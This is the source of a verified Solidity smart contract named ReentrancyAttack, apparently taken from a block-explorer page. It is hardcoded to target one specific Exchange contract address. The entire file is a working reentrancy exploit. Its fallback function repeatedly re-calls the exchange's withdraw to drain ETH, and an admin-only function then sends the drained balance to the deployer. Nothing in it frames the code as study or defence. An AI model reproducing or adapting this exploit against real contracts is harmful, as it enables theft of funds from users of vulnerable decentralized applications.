Contract Source Code (Solidity)

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/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

pragma solidity ^0.4.16;

interface Exchange {
    function deposit() external payable;
    function withdraw(address token, uint256 amount) external returns (bool success);
}

contract ReentrancyAttack {
    Exchange public exchange;
    address public admin;
    uint256 public count;

    // Old-style constructor using the contract name
    function ReentrancyAttack() public {
        exchange = Exchange(0x2a0c0DBEcC7E4D658f48E01e3fA353F44050c208);
        admin = msg.sender;
    }

    // Modifier to allow only the admin to execute certain functions
    modifier onlyAdmin() {
        require(msg.sender == admin);
        _;
    }

    // Function to deposit ETH into this contract
    function depositETH() external payable onlyAdmin {
        require(msg.value > 0);
    }

    // Function to deposit ETH into the Exchange contract (admin only)
    function deposit() external payable onlyAdmin {
        require(msg.value > 0);
        exchange.deposit.value(msg.value)(); 
    }

    // Function to initiate the reentrancy attack with adjustable amount (admin only)
    function attack(uint256 amount) external onlyAdmin {
        require(amount > 0 && amount <= address(this).balance);
        exchange.withdraw(0x0000000000000000000000000000000000000000, amount);
    }

    // Optimized fallback function to reenter withdrawal, no balance check
    function () external payable {
        count++; // Simple increment to track reentries
        exchange.withdraw(0x0000000000000000000000000000000000000000, address(this).balance);
    }

    // Function to collect all funds in the contract (admin only)
    function collectFunds() external onlyAdmin {
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0);
        admin.transfer(contractBalance);
    }
}

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